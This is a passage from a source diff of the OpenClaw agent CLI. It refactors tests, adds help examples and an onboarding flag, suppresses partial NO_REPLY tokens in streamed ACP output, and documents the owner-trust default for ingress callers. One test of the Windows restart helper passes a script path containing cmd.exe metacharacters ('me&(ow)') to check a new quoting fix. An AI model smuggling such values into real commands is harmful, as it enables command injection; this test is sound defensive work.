path.join(tmpDir, "index.sqlite"); @@ -191,26 +235,23 @@ describe("memory cli", () => { it("logs gateway secret diagnostics for non-json status output", async () => { const close = vi.fn(async () => {}); - resolveCommandSecretRefsViaGateway.mockResolvedValueOnce({ - resolvedConfig: {}, - diagnostics: ["agents.defaults.memorySearch.remote.apiKey inactive"] as string[], - }); - mockManager({ - probeVectorAvailability: vi.fn(async () => true), - status: () => makeMemoryStatus({ workspaceDir: undefined }), - close, - }); + setupMemoryStatusWithInactiveSecretDiagnostics(close); const log = spyRuntimeLogs(); await runMemoryCli(["status"]); - expect( - log.mock.calls.some( - (call) => - typeof call[0] === "string" && - call[0].includes("agents.defaults.memorySearch.remote.apiKey inactive"), - ), - ).toBe(true); + expect(hasLoggedInactiveSecretDiagnostic(log)).toBe(true); + }); + + it("documents memory help examples", () => { + const helpText = getMemoryHelpText(); + + expect(helpText).toContain("openclaw memory status --deep"); + expect(helpText).toContain("Probe embedding provider readiness."); + expect(helpText).toContain('openclaw memory search "meeting notes"'); + expect(helpText).toContain("Quick search using positional query."); + expect(helpText).toContain('openclaw memory search --query "deployment" --max-results 20'); + expect(helpText).toContain("Limit results for focused troubleshooting."); }); it("prints vector error when unavailable", async () => { @@ -410,15 +451,7 @@ describe("memory cli", () => { it("routes gateway secret diagnostics to stderr for json status output", async () => { const close = vi.fn(async () => {}); - resolveCommandSecretRefsViaGateway.mockResolvedValueOnce({ - resolvedConfig: {}, - diagnostics: ["agents.defaults.memorySearch.remote.apiKey inactive"] as string[], - }); - mockManager({ - probeVectorAvailability: vi.fn(async () => true), - status: () => makeMemoryStatus({ workspaceDir: undefined }), - close, - }); + setupMemoryStatusWithInactiveSecretDiagnostics(close); const log = spyRuntimeLogs(); const error = spyRuntimeErrors(); @@ -426,13 +459,7 @@ describe("memory cli", () => { const payload = firstLoggedJson(log); expect(Array.isArray(payload)).toBe(true); - expect( - error.mock.calls.some( - (call) => - typeof call[0] === "string" && - call[0].includes("agents.defaults.memorySearch.remote.apiKey inactive"), - ), - ).toBe(true); + expect(hasLoggedInactiveSecretDiagnostic(error)).toBe(true); }); it("logs default message when memory manager is missing", async () => { diff --git a/src/cli/memory-cli.ts b/src/cli/memory-cli.ts index 280e9172a92..14afad0c4f2 100644 --- a/src/cli/memory-cli.ts +++ b/src/cli/memory-cli.ts @@ -582,9 +582,14 @@ export function registerMemoryCli(program: Command) { () => `\n${theme.heading("Examples:")}\n${formatHelpExamples([ ["openclaw memory status", "Show index and provider status."], + ["openclaw memory status --deep", "Probe embedding provider readiness."], ["openclaw memory index --force", "Force a full reindex."], - ['openclaw memory search --query "deployment notes"', "Search indexed memory entries."], - ["openclaw memory status --json", "Output machine-readable JSON."], + ['openclaw memory search "meeting notes"', "Quick search using positional query."], + [ + 'openclaw memory search --query "deployment" --max-results 20', + "Limit results for focused troubleshooting.", + ], + ["openclaw memory status --json", "Output machine-readable JSON (good for scripts)."], ])}\n\n${theme.muted("Docs:")} ${formatDocsLink("/cli/memory", "docs.openclaw.ai/cli/memory")}\n`, ); diff --git a/src/cli/nodes-cli/register.invoke.ts b/src/cli/nodes-cli/register.invoke.ts index d23d35c9f21..fc0493734f9 100644 --- a/src/cli/nodes-cli/register.invoke.ts +++ b/src/cli/nodes-cli/register.invoke.ts @@ -9,6 +9,8 @@ import { type ExecSecurity, maxAsk, minSecurity, + normalizeExecAsk, + normalizeExecSecurity, resolveExecApprovalsFromFile, } from "../../infra/exec-approvals.js"; import { buildNodeShellCommand } from "../../infra/node-shell.js"; @@ -43,22 +45,6 @@ type ExecDefaults = { safeBins?: string[]; }; -function normalizeExecSecurity(value?: string | null): ExecSecurity | null { - const normalized = value?.trim().toLowerCase(); - if (normalized === "deny" || normalized === "allowlist" || normalized === "full") { - return normalized; - } - return null; -} - -function normalizeExecAsk(value?: string | null): ExecAsk | null { - const normalized = value?.trim().toLowerCase(); - if (normalized === "off" || normalized === "on-miss" || normalized === "always") { - return normalized as ExecAsk; - } - return null; -} - function resolveExecDefaults( cfg: ReturnType, agentId: string | undefined, diff --git a/src/cli/program/register.onboard.test.ts b/src/cli/program/register.onboard.test.ts index b1cf8478118..53bc1dbc7a5 100644 --- a/src/cli/program/register.onboard.test.ts +++ b/src/cli/program/register.onboard.test.ts @@ -123,7 +123,7 @@ describe("registerOnboardCommand", () => { await runCli(["onboard", "--mistral-api-key", "sk-mistral-test"]); expect(onboardCommandMock).toHaveBeenCalledWith( expect.objectContaining({ - mistralApiKey: "sk-mistral-test", + mistralApiKey: "sk-mistral-test", // pragma: allowlist secret }), runtime, ); diff --git a/src/cli/program/register.onboard.ts b/src/cli/program/register.onboard.ts index 7555b5c6b4e..03fb832a041 100644 --- a/src/cli/program/register.onboard.ts +++ b/src/cli/program/register.onboard.ts @@ -119,6 +119,7 @@ export function registerOnboardCommand(program: Command) { .option("--daemon-runtime ", "Daemon runtime: node|bun") .option("--skip-channels", "Skip channel setup") .option("--skip-skills", "Skip skills setup") + .option("--skip-search", "Skip search provider setup") .option("--skip-health", "Skip health check") .option("--skip-ui", "Skip Control UI/TUI prompts") .option("--node-manager ", "Node manager for skills: npm|pnpm|bun") @@ -193,6 +194,7 @@ export function registerOnboardCommand(program: Command) { daemonRuntime: opts.daemonRuntime as GatewayDaemonRuntime | undefined, skipChannels: Boolean(opts.skipChannels), skipSkills: Boolean(opts.skipSkills), + skipSearch: Boolean(opts.skipSearch), skipHealth: Boolean(opts.skipHealth), skipUi: Boolean(opts.skipUi), nodeManager: opts.nodeManager as NodeManagerChoice | undefined, diff --git a/src/cli/qr-cli.test.ts b/src/cli/qr-cli.test.ts index 97e5c1c01a7..551c17355ef 100644 --- a/src/cli/qr-cli.test.ts +++ b/src/cli/qr-cli.test.ts @@ -72,6 +72,32 @@ function createTailscaleRemoteRefConfig() { }; } +function createDefaultSecretProvider() { + return { + providers: { + default: { source: "env" as const }, + }, + }; +} + +function createLocalGatewayConfigWithAuth(auth: Record) { + return { + secrets: createDefaultSecretProvider(), + gateway: { + bind: "custom", + customBindHost: "gateway.local", + auth, + }, + }; +} + +function createLocalGatewayPasswordRefAuth(secretId: string) { + return { + mode: "password", + password: { source: "env", provider: "default", id: secretId }, + }; +} + describe("registerQrCli", () => { function createProgram() { const program = new Command(); @@ -88,6 +114,23 @@ describe("registerQrCli", () => { await expect(runQr(args)).rejects.toThrow("exit"); } + function parseLastLoggedQrJson() { + return JSON.parse(String(runtime.log.mock.calls.at(-1)?.[0] ?? "{}")) as { + setupCode?: string; + gatewayUrl?: string; + auth?: string; + urlSource?: string; + }; + } + + function mockTailscaleStatusLookup() { + runCommandWithTimeout.mockResolvedValue({ + code: 0, + stdout: '{"Self":{"DNSName":"ts-host.tailnet.ts.net."}}', + stderr: "", + }); + } + beforeEach(() => { vi.clearAllMocks(); vi.stubEnv("OPENCLAW_GATEWAY_TOKEN", ""); @@ -157,21 +200,11 @@ describe("registerQrCli", () => { }); it("skips local password SecretRef resolution when --token override is provided", async () => { - loadConfig.mockReturnValue({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - bind: "custom", - customBindHost: "gateway.local", - auth: { - mode: "password", - password: { source: "env", provider: "default", id: "MISSING_LOCAL_GATEWAY_PASSWORD" }, - }, - }, - }); + loadConfig.mockReturnValue( + createLocalGatewayConfigWithAuth( + createLocalGatewayPasswordRefAuth("MISSING_LOCAL_GATEWAY_PASSWORD"), + ), + ); await runQr(["--setup-code-only", "--token", "override-token"]); @@ -184,27 +217,17 @@ describe("registerQrCli", () => { it("resolves local gateway auth password SecretRefs before setup code generation", async () => { vi.stubEnv("QR_LOCAL_GATEWAY_PASSWORD", "local-password-secret"); - loadConfig.mockReturnValue({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - bind: "custom", - customBindHost: "gateway.local", - auth: { - mode: "password", - password: { source: "env", provider: "default", id: "QR_LOCAL_GATEWAY_PASSWORD" }, - }, - }, - }); + loadConfig.mockReturnValue( + createLocalGatewayConfigWithAuth( + createLocalGatewayPasswordRefAuth("QR_LOCAL_GATEWAY_PASSWORD"), + ), + ); await runQr(["--setup-code-only"]); const expected = encodePairingSetupCode({ url: "ws://gateway.local:18789", - password: "local-password-secret", + password: "local-password-secret", // pragma: allowlist secret }); expect(runtime.log).toHaveBeenCalledWith(expected); expect(resolveCommandSecretRefsViaGateway).not.toHaveBeenCalled(); @@ -212,49 +235,30 @@ describe("registerQrCli", () => { it("uses OPENCLAW_GATEWAY_PASSWORD without resolving local password SecretRef", async () => { vi.stubEnv("OPENCLAW_GATEWAY_PASSWORD", "password-from-env"); - loadConfig.mockReturnValue({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - bind: "custom", - customBindHost: "gateway.local", - auth: { - mode: "password", - password: { source: "env", provider: "default", id: "MISSING_LOCAL_GATEWAY_PASSWORD" }, - }, - }, - }); + loadConfig.mockReturnValue( + createLocalGatewayConfigWithAuth( + createLocalGatewayPasswordRefAuth("MISSING_LOCAL_GATEWAY_PASSWORD"), + ), + ); await runQr(["--setup-code-only"]); const expected = encodePairingSetupCode({ url: "ws://gateway.local:18789", - password: "password-from-env", + password: "password-from-env", // pragma: allowlist secret }); expect(runtime.log).toHaveBeenCalledWith(expected); expect(resolveCommandSecretRefsViaGateway).not.toHaveBeenCalled(); }); it("does not resolve local password SecretRef when auth mode is token", async () => { - loadConfig.mockReturnValue({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - bind: "custom", - customBindHost: "gateway.local", - auth: { - mode: "token", - token: "token-123", - password: { source: "env", provider: "default", id: "MISSING_LOCAL_GATEWAY_PASSWORD" }, - }, - }, - }); + loadConfig.mockReturnValue( + createLocalGatewayConfigWithAuth({ + mode: "token", + token: "token-123", + password: { source: "env", provider: "default", id: "MISSING_LOCAL_GATEWAY_PASSWORD" }, + }), + ); await runQr(["--setup-code-only"]); @@ -268,26 +272,17 @@ describe("registerQrCli", () => { it("resolves local password SecretRef when auth mode is inferred", async () => { vi.stubEnv("QR_INFERRED_GATEWAY_PASSWORD", "inferred-password"); - loadConfig.mockReturnValue({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - bind: "custom", - customBindHost: "gateway.local", - auth: { - password: { source: "env", provider: "default", id: "QR_INFERRED_GATEWAY_PASSWORD" }, - }, - }, - }); + loadConfig.mockReturnValue( + createLocalGatewayConfigWithAuth({ + password: { source: "env", provider: "default", id: "QR_INFERRED_GATEWAY_PASSWORD" }, + }), + ); await runQr(["--setup-code-only"]); const expected = encodePairingSetupCode({ url: "ws://gateway.local:18789", - password: "inferred-password", + password: "inferred-password", // pragma: allowlist secret }); expect(runtime.log).toHaveBeenCalledWith(expected); expect(resolveCommandSecretRefsViaGateway).not.toHaveBeenCalled(); @@ -390,20 +385,11 @@ describe("registerQrCli", () => { { name: "when tailscale is configured", withTailscale: true }, ])("reports gateway.remote.url as source in --remote json output ($name)", async (testCase) => { loadConfig.mockReturnValue(createRemoteQrConfig({ withTailscale: testCase.withTailscale })); - runCommandWithTimeout.mockResolvedValue({ - code: 0, - stdout: '{"Self":{"DNSName":"ts-host.tailnet.ts.net."}}', - stderr: "", - }); + mockTailscaleStatusLookup(); await runQr(["--json", "--remote"]); - const payload = JSON.parse(String(runtime.log.mock.calls.at(-1)?.[0] ?? "{}")) as { - setupCode?: string; - gatewayUrl?: string; - auth?: string; - urlSource?: string; - }; + const payload = parseLastLoggedQrJson(); expect(payload.gatewayUrl).toBe("wss://remote.example.com:444"); expect(payload.auth).toBe("token"); expect(payload.urlSource).toBe("gateway.remote.url"); @@ -416,20 +402,11 @@ describe("registerQrCli", () => { resolvedConfig: createRemoteQrConfig(), diagnostics: ["gateway.remote.password inactive"] as string[], }); - runCommandWithTimeout.mockResolvedValue({ - code: 0, - stdout: '{"Self":{"DNSName":"ts-host.tailnet.ts.net."}}', - stderr: "", - }); + mockTailscaleStatusLookup(); await runQr(["--json", "--remote"]); - const payload = JSON.parse(String(runtime.log.mock.calls.at(-1)?.[0] ?? "{}")) as { - setupCode?: string; - gatewayUrl?: string; - auth?: string; - urlSource?: string; - }; + const payload = parseLastLoggedQrJson(); expect(payload.gatewayUrl).toBe("wss://remote.example.com:444"); expect( runtime.error.mock.calls.some((call) => diff --git a/src/cli/update-cli/restart-helper.test.ts b/src/cli/update-cli/restart-helper.test.ts index 18888c27f53..1e15556d89e 100644 --- a/src/cli/update-cli/restart-helper.test.ts +++ b/src/cli/update-cli/restart-helper.test.ts @@ -298,11 +298,25 @@ describe("restart-helper", () => { await runRestartScript(scriptPath); - expect(spawn).toHaveBeenCalledWith("cmd.exe", ["/c", scriptPath], { + expect(spawn).toHaveBeenCalledWith("cmd.exe", ["/d", "/s", "/c", scriptPath], { detached: true, stdio: "ignore", }); expect(mockChild.unref).toHaveBeenCalled(); }); + + it("quotes cmd.exe /c paths with metacharacters on Windows", async () => { + Object.defineProperty(process, "platform", { value: "win32" }); + const scriptPath = "C:\\Temp\\me&(ow)\\fake-script.bat"; + const mockChild = { unref: vi.fn() }; + vi.mocked(spawn).mockReturnValue(mockChild as unknown as ChildProcess); + + await runRestartScript(scriptPath); + + expect(spawn).toHaveBeenCalledWith("cmd.exe", ["/d", "/s", "/c", `"${scriptPath}"`], { + detached: true, + stdio: "ignore", + }); + }); }); }); diff --git a/src/cli/update-cli/restart-helper.ts b/src/cli/update-cli/restart-helper.ts index 4f7d45aab0c..02ac29d03bb 100644 --- a/src/cli/update-cli/restart-helper.ts +++ b/src/cli/update-cli/restart-helper.ts @@ -3,6 +3,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { DEFAULT_GATEWAY_PORT } from "../../config/paths.js"; +import { quoteCmdScriptArg } from "../../daemon/cmd-argv.js"; import { resolveGatewayLaunchAgentLabel, resolveGatewaySystemdServiceName, @@ -161,7 +162,7 @@ del "%~f0" export async function runRestartScript(scriptPath: string): Promise { const isWindows = process.platform === "win32"; const file = isWindows ? "cmd.exe" : "/bin/sh"; - const args = isWindows ? ["/c", scriptPath] : [scriptPath]; + const args = isWindows ? ["/d", "/s", "/c", quoteCmdScriptArg(scriptPath)] : [scriptPath]; const child = spawn(file, args, { detached: true, diff --git a/src/commands/agent.acp.test.ts b/src/commands/agent.acp.test.ts index cde0ab54a94..9beee4b0010 100644 --- a/src/commands/agent.acp.test.ts +++ b/src/commands/agent.acp.test.ts @@ -7,6 +7,7 @@ import { AcpRuntimeError } from "../acp/runtime/errors.js"; import * as embeddedModule from "../agents/pi-embedded.js"; import type { OpenClawConfig } from "../config/config.js"; import * as configModule from "../config/config.js"; +import { onAgentEvent } from "../infra/agent-events.js"; import type { RuntimeEnv } from "../runtime.js"; import { agentCommand } from "./agent.js"; @@ -123,6 +124,41 @@ function mockAcpManager(params: { } as unknown as ReturnType); } +async function withAcpSessionEnv(fn: () => Promise) { + await withTempHome(async (home) => { + const storePath = path.join(home, "sessions.json"); + writeAcpSessionStore(storePath); + mockConfig(home, storePath); + await fn(); + }); +} + +function createRunTurnFromTextDeltas(chunks: string[]) { + return vi.fn(async (paramsUnknown: unknown) => { + const params = paramsUnknown as { + onEvent?: (event: { type: string; text?: string; stopReason?: string }) => Promise; + }; + for (const text of chunks) { + await params.onEvent?.({ type: "text_delta", text }); + } + await params.onEvent?.({ type: "done", stopReason: "stop" }); + }); +} + +function subscribeAssistantEvents() { + const assistantEvents: Array<{ text?: string; delta?: string }> = []; + const stop = onAgentEvent((evt) => { + if (evt.stream !== "assistant") { + return; + } + assistantEvents.push({ + text: typeof evt.data?.text === "string" ? evt.data.text : undefined, + delta: typeof evt.data?.delta === "string" ? evt.data.delta : undefined, + }); + }); + return { assistantEvents, stop }; +} + async function runAcpSessionWithPolicyOverrides(params: { acpOverrides: Partial>; resolveSession?: Parameters[0]["resolveSession"]; @@ -160,19 +196,8 @@ describe("agentCommand ACP runtime routing", () => { }); it("routes ACP sessions through AcpSessionManager instead of embedded agent", async () => { - await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); - writeAcpSessionStore(storePath); - mockConfig(home, storePath); - - const runTurn = vi.fn(async (paramsUnknown: unknown) => { - const params = paramsUnknown as { - onEvent?: (event: { type: string; text?: string; stopReason?: string }) => Promise; - }; - await params.onEvent?.({ type: "text_delta", text: "ACP_" }); - await params.onEvent?.({ type: "text_delta", text: "OK" }); - await params.onEvent?.({ type: "done", stopReason: "stop" }); - }); + await withAcpSessionEnv(async () => { + const runTurn = createRunTurnFromTextDeltas(["ACP_", "OK"]); mockAcpManager({ runTurn: (params: unknown) => runTurn(params), @@ -195,6 +220,116 @@ describe("agentCommand ACP runtime routing", () => { }); }); + it("suppresses ACP NO_REPLY lead fragments before emitting assistant text", async () => { + await withAcpSessionEnv(async () => { + const { assistantEvents, stop } = subscribeAssistantEvents(); + const runTurn = createRunTurnFromTextDeltas([ + "NO", + "NO_", + "NO_RE", + "NO_REPLY", + "Actual answer", + ]); + + mockAcpManager({ + runTurn: (params: unknown) => runTurn(params), + }); + + try { + await agentCommand({ message: "ping", sessionKey: "agent:codex:acp:test" }, runtime); + } finally { + stop(); + } + + expect(assistantEvents).toEqual([{ text: "Actual answer", delta: "Actual answer" }]); + + const logLines = vi.mocked(runtime.log).mock.calls.map(([first]) => String(first)); + expect(logLines.some((line) => line.includes("NO_REPLY"))).toBe(false); + expect(logLines.some((line) => line.includes("Actual answer"))).toBe(true); + }); + }); + + it("keeps silent-only ACP turns out of assistant output", async () => { + await withAcpSessionEnv(async () => { + const assistantEvents: string[] = []; + const stop = onAgentEvent((evt) => { + if (evt.stream !== "assistant") { + return; + } + if (typeof evt.data?.text === "string") { + assistantEvents.push(evt.data.text); + } + }); + + const runTurn = createRunTurnFromTextDeltas(["NO", "NO_", "NO_RE", "NO_REPLY"]); + + mockAcpManager({ + runTurn: (params: unknown) => runTurn(params), + }); + + try { + await agentCommand({ message: "ping", sessionKey: "agent:codex:acp:test" }, runtime); + } finally { + stop(); + } + + expect(assistantEvents).toEqual([]); + + const logLines = vi.mocked(runtime.log).mock.calls.map(([first]) => String(first)); + expect(logLines.some((line) => line.includes("NO_REPLY"))).toBe(false); + expect(logLines.some((line) => line.includes("No reply from agent."))).toBe(true); + }); + }); + + it("preserves repeated identical ACP delta chunks", async () => { + await withAcpSessionEnv(async () => { + const { assistantEvents, stop } = subscribeAssistantEvents(); + const runTurn = createRunTurnFromTextDeltas(["b", "o", "o", "k"]); + + mockAcpManager({ + runTurn: (params: unknown) => runTurn(params), + }); + + try { + await agentCommand({ message: "ping", sessionKey: "agent:codex:acp:test" }, runtime); + } finally { + stop(); + } + + expect(assistantEvents).toEqual([ + { text: "b", delta: "b" }, + { text: "bo", delta: "o" }, + { text: "boo", delta: "o" }, + { text: "book", delta: "k" }, + ]); + + const logLines = vi.mocked(runtime.log).mock.calls.map(([first]) => String(first)); + expect(logLines.some((line) => line.includes("book"))).toBe(true); + }); + }); + + it("re-emits buffered NO prefix when ACP text becomes visible content", async () => { + await withAcpSessionEnv(async () => { + const { assistantEvents, stop } = subscribeAssistantEvents(); + const runTurn = createRunTurnFromTextDeltas(["NO", "W"]); + + mockAcpManager({ + runTurn: (params: unknown) => runTurn(params), + }); + + try { + await agentCommand({ message: "ping", sessionKey: "agent:codex:acp:test" }, runtime); + } finally { + stop(); + } + + expect(assistantEvents).toEqual([{ text: "NOW", delta: "NOW" }]); + + const logLines = vi.mocked(runtime.log).mock.calls.map(([first]) => String(first)); + expect(logLines.some((line) => line.includes("NOW"))).toBe(true); + }); + }); + it("fails closed for ACP-shaped session keys missing ACP metadata", async () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); diff --git a/src/commands/agent.test.ts b/src/commands/agent.test.ts index 7ca6909af4a..baa58df2ef1 100644 --- a/src/commands/agent.test.ts +++ b/src/commands/agent.test.ts @@ -8,6 +8,7 @@ import { FailoverError } from "../agents/failover-error.js"; import { loadModelCatalog } from "../agents/model-catalog.js"; import * as modelSelectionModule from "../agents/model-selection.js"; import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; +import * as commandSecretGatewayModule from "../cli/command-secret-gateway.js"; import type { OpenClawConfig } from "../config/config.js"; import * as configModule from "../config/config.js"; import * as sessionsModule from "../config/sessions.js"; @@ -51,6 +52,8 @@ const runtime: RuntimeEnv = { }; const configSpy = vi.spyOn(configModule, "loadConfig"); +const readConfigFileSnapshotForWriteSpy = vi.spyOn(configModule, "readConfigFileSnapshotForWrite"); +const setRuntimeConfigSnapshotSpy = vi.spyOn(configModule, "setRuntimeConfigSnapshot"); const runCliAgentSpy = vi.spyOn(cliRunnerModule, "runCliAgent"); const deliverAgentCommandResultSpy = vi.spyOn(agentDeliveryModule, "deliverAgentCommandResult"); @@ -256,13 +259,91 @@ function createTelegramOutboundPlugin() { beforeEach(() => { vi.clearAllMocks(); + configModule.clearRuntimeConfigSnapshot(); runCliAgentSpy.mockResolvedValue(createDefaultAgentResult() as never); vi.mocked(runEmbeddedPiAgent).mockResolvedValue(createDefaultAgentResult()); vi.mocked(loadModelCatalog).mockResolvedValue([]); vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(() => false); + readConfigFileSnapshotForWriteSpy.mockResolvedValue({ + snapshot: { valid: false, resolved: {} as OpenClawConfig }, + writeOptions: {}, + } as Awaited>); }); describe("agentCommand", () => { + it("sets runtime snapshots from source config before embedded agent run", async () => { + await withTempHome(async (home) => { + const store = path.join(home, "sessions.json"); + const loadedConfig = { + agents: { + defaults: { + model: { primary: "anthropic/claude-opus-4-5" }, + models: { "anthropic/claude-opus-4-5": {} }, + workspace: path.join(home, "openclaw"), + }, + }, + session: { store, mainKey: "main" }, + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, // pragma: allowlist secret + models: [], + }, + }, + }, + } as unknown as OpenClawConfig; + const sourceConfig = { + ...loadedConfig, + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, // pragma: allowlist secret + models: [], + }, + }, + }, + } as unknown as OpenClawConfig; + const resolvedConfig = { + ...loadedConfig, + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + apiKey: "sk-resolved-runtime", // pragma: allowlist secret + models: [], + }, + }, + }, + } as unknown as OpenClawConfig; + + configSpy.mockReturnValue(loadedConfig); + readConfigFileSnapshotForWriteSpy.mockResolvedValue({ + snapshot: { valid: true, resolved: sourceConfig }, + writeOptions: {}, + } as Awaited>); + const resolveSecretsSpy = vi + .spyOn(commandSecretGatewayModule, "resolveCommandSecretRefsViaGateway") + .mockResolvedValueOnce({ + resolvedConfig, + diagnostics: [], + targetStatesByPath: {}, + hadUnresolvedTargets: false, + }); + + await agentCommand({ message: "hello", to: "+1555" }, runtime); + + expect(resolveSecretsSpy).toHaveBeenCalledWith({ + config: loadedConfig, + commandName: "agent", + targetIds: expect.any(Set), + }); + expect(setRuntimeConfigSnapshotSpy).toHaveBeenCalledWith(resolvedConfig, sourceConfig); + expect(vi.mocked(runEmbeddedPiAgent).mock.calls.at(-1)?.[0]?.config).toBe(resolvedConfig); + }); + }); + it("creates a session entry when deriving from --to", async () => { await withTempHome(async (home) => { const store = path.join(home, "sessions.json"); diff --git a/src/commands/agent.ts b/src/commands/agent.ts index 215d249d964..cd760d9eba2 100644 --- a/src/commands/agent.ts +++ b/src/commands/agent.ts @@ -38,6 +38,7 @@ import { buildWorkspaceSkillSnapshot } from "../agents/skills.js"; import { getSkillsSnapshotVersion } from "../agents/skills/refresh.js"; import { resolveAgentTimeoutMs } from "../agents/timeout.js"; import { ensureAgentWorkspace } from "../agents/workspace.js"; +import { normalizeReplyPayload } from "../auto-reply/reply/normalize-reply.js"; import { formatThinkingLevels, formatXHighModelHint, @@ -47,11 +48,20 @@ import { type ThinkLevel, type VerboseLevel, } from "../auto-reply/thinking.js"; +import { + isSilentReplyPrefixText, + isSilentReplyText, + SILENT_REPLY_TOKEN, +} from "../auto-reply/tokens.js"; import { formatCliCommand } from "../cli/command-format.js"; import { resolveCommandSecretRefsViaGateway } from "../cli/command-secret-gateway.js"; import { getAgentRuntimeCommandSecretTargetIds } from "../cli/command-secret-targets.js"; import { type CliDeps, createDefaultDeps } from "../cli/deps.js"; -import { loadConfig } from "../config/config.js"; +import { + loadConfig, + readConfigFileSnapshotForWrite, + setRuntimeConfigSnapshot, +} from "../config/config.js"; import { mergeSessionEntry, parseSessionThreadInfo, @@ -148,6 +158,80 @@ function prependInternalEventContext( return [renderedEvents, body].filter(Boolean).join("\n\n"); } +function createAcpVisibleTextAccumulator() { + let pendingSilentPrefix = ""; + let visibleText = ""; + const startsWithWordChar = (chunk: string): boolean => /^[\p{L}\p{N}]/u.test(chunk); + + const resolveNextCandidate = (base: string, chunk: string): string => { + if (!base) { + return chunk; + } + if ( + isSilentReplyText(base, SILENT_REPLY_TOKEN) && + !chunk.startsWith(base) && + startsWithWordChar(chunk) + ) { + return chunk; + } + // Some ACP backends emit cumulative snapshots even on text_delta-style hooks. + // Accept those only when they strictly extend the buffered text. + if (chunk.startsWith(base) && chunk.length > base.length) { + return chunk; + } + return `${base}${chunk}`; + }; + + const mergeVisibleChunk = (base: string, chunk: string): { text: string; delta: string } => { + if (!base) { + return { text: chunk, delta: chunk }; + } + if (chunk.startsWith(base) && chunk.length > base.length) { + const delta = chunk.slice(base.length); + return { text: chunk, delta }; + } + return { + text: `${base}${chunk}`, + delta: chunk, + }; + }; + + return { + consume(chunk: string): { text: string; delta: string } | null { + if (!chunk) { + return null; + } + + if (!visibleText) { + const leadCandidate = resolveNextCandidate(pendingSilentPrefix, chunk); + const trimmedLeadCandidate = leadCandidate.trim(); + if ( + isSilentReplyText(trimmedLeadCandidate, SILENT_REPLY_TOKEN) || + isSilentReplyPrefixText(trimmedLeadCandidate, SILENT_REPLY_TOKEN) + ) { + pendingSilentPrefix = leadCandidate; + return null; + } + if (pendingSilentPrefix) { + pendingSilentPrefix = ""; + visibleText = leadCandidate; + return { + text: visibleText, + delta: leadCandidate, + }; + } + } + + const nextVisible = mergeVisibleChunk(visibleText, chunk); + visibleText = nextVisible.text; + return nextVisible.delta ? nextVisible : null; + }, + finalize(): string { + return visibleText.trim(); + }, + }; +} + function runAgentAttempt(params: { providerOverride: string; modelOverride: string; @@ -174,7 +258,7 @@ function runAgentAttempt(params: { primaryProvider: string; sessionStore?: Record; storePath?: string; - allowRateLimitCooldownProbe?: boolean; + allowTransientCooldownProbe?: boolean; }) { const effectivePrompt = resolveFallbackRetryPrompt({ body: params.body, @@ -325,7 +409,7 @@ function runAgentAttempt(params: { inputProvenance: params.opts.inputProvenance, streamParams: params.opts.streamParams, agentDir: params.agentDir, - allowRateLimitCooldownProbe: params.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: params.allowTransientCooldownProbe, onAgentEvent: params.onAgentEvent, bootstrapPromptWarningSignaturesSeen, bootstrapPromptWarningSignature, @@ -347,11 +431,23 @@ async function agentCommandInternal( } const loadedRaw = loadConfig(); + const sourceConfig = await (async () => { + try { + const { snapshot } = await readConfigFileSnapshotForWrite(); + if (snapshot.valid) { + return snapshot.resolved; + } + } catch { + // Fall back to runtime-loaded config when source snapshot is unavailable. + } + return loadedRaw; + })(); const { resolvedConfig: cfg, diagnostics } = await resolveCommandSecretRefsViaGateway({ config: loadedRaw, commandName: "agent", targetIds: getAgentRuntimeCommandSecretTargetIds(), }); + setRuntimeConfigSnapshot(cfg, sourceConfig); for (const entry of diagnostics) { runtime.log(`[secrets] ${entry}`); } @@ -492,7 +588,7 @@ async function agentCommandInternal( }, }); - let streamedText = ""; + const visibleTextAccumulator = createAcpVisibleTextAccumulator(); let stopReason: string | undefined; try { const dispatchPolicyError = resolveAcpDispatchPolicyError(cfg); @@ -528,13 +624,16 @@ async function agentCommandInternal( if (!event.text) { return; } - streamedText += event.text; + const visibleUpdate = visibleTextAccumulator.consume(event.text); + if (!visibleUpdate) { + return; + } emitAgentEvent({ runId, stream: "assistant", data: { - text: streamedText, - delta: event.text, + text: visibleUpdate.text, + delta: visibleUpdate.delta, }, }); }, @@ -566,14 +665,10 @@ async function agentCommandInternal( }, }); - const finalText = streamedText.trim(); - const payloads = finalText - ? [ - { - text: finalText, - }, - ] - : []; + const normalizedFinalPayload = normalizeReplyPayload({ + text: visibleTextAccumulator.finalize(), + }); + const payloads = normalizedFinalPayload ? [normalizedFinalPayload] : []; const result = { payloads, meta: { @@ -868,7 +963,7 @@ async function agentCommandInternal( primaryProvider: provider, sessionStore, storePath, - allowRateLimitCooldownProbe: runOptions?.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: runOptions?.allowTransientCooldownProbe, onAgentEvent: (evt) => { // Track lifecycle end for fallback emission below. if ( @@ -959,6 +1054,9 @@ export async function agentCommand( return await agentCommandInternal( { ...opts, + // agentCommand is the trusted-operator entrypoint used by CLI/local flows. + // Ingress callers must opt into owner semantics explicitly via + // agentCommandFromIngress so network-facing paths cannot inherit this default by accident. senderIsOwner: opts.senderIsOwner ?? true, }, runtime, @@ -972,6 +1070,8 @@ export async function agentCommandFromIngress( deps: CliDeps = createDefaultDeps(), ) { if (typeof opts.senderIsOwner !== "boolean") { + // HTTP/WS ingress must declare the trust level explicitly at the boundary. + // This keeps network-facing callers from silently picking up the local trusted default. throw new Error("senderIsOwner must be explicitly set for ingress agent runs."); } return await agentCommandInternal( diff --git a/src/commands/agent/session.ts b/src/commands/agent/session.ts index 62600448af4..f3ef076d654 100644 --- a/src/commands/agent/session.ts +++ b/src/commands/agent/session.ts @@ -1,5 +1,6 @@ import crypto from "node:crypto"; import { listAgentIds } from 